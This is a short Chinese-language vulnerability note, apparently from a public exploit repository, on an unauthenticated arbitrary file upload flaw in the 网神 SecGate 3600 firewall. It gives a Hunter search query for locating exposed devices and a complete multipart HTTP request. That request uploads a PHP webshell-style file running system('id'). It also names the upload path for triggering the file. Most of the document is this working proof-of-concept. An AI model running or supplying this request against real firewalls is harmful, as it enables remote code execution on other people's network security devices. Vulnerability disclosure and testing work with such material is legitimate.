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60 lines
2.4 KiB
Markdown
60 lines
2.4 KiB
Markdown
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# 网神SecGata 3600防火墙obj_app_upfile任意文件上传漏洞
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# 一、漏洞简介
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<font style="color:rgb(0, 0, 0);">网神 SecGate 3600 防火墙 obj_app_upfile接口存在任意文件上传漏洞，攻击者通过构造特殊请求包即可获取服务器权限。</font>
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# <font style="color:rgb(0, 0, 0);">二、影响版本</font>
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+ 网神SecGata 3600防火墙
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# 三、资产测绘
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+ hunter:`app.name="网神 SecGate"&&web.title=="网神SecGate 3600防火墙"`
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+ 登录页面
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# 四、漏洞复现
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<font style="color:rgb(0, 0, 0);">没有对文件调用进行鉴权，且文件上传路径为可访问路径，造成任意文件上传</font>
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```java
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POST /?g=obj_app_upfile HTTP/1.1
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Host: xx.xx.xx.xx
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Accept: */*
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Accept-Encoding: gzip, deflate
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Content-Length: 569
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
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User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)
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------WebKitFormBoundaryJpMyThWnAxbcBBQc
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Content-Disposition: form-data; name="MAX_FILE_SIZE"
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10000000
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------WebKitFormBoundaryJpMyThWnAxbcBBQc
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Content-Disposition: form-data; name="upfile"; filename="test.php"
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Content-Type: text/plain
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<?php system("id");unlink(__FILE__);?>
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------WebKitFormBoundaryJpMyThWnAxbcBBQc
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Content-Disposition: form-data; name="submit_post"
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obj_app_upfile
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------WebKitFormBoundaryJpMyThWnAxbcBBQc
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Content-Disposition: form-data; name="__hash__"
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0b9d6b1ab7479ab69d9f71b05e0e9445
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------WebKitFormBoundaryJpMyThWnAxbcBBQc--
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```
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<font style="color:rgb(0, 0, 0);">默认上传路径 </font>`<font style="color:rgb(0, 0, 0);">/secgate/webui/attachements/</font>`<font style="color:rgb(0, 0, 0);"> ， 访问 </font>`<font style="color:rgb(0, 0, 0);">attachements/test.php</font>`<font style="color:rgb(0, 0, 0);"> 文件</font>
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> 更新: 2024-02-29 23:57:16
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/yrkaybyh5yggyktv>
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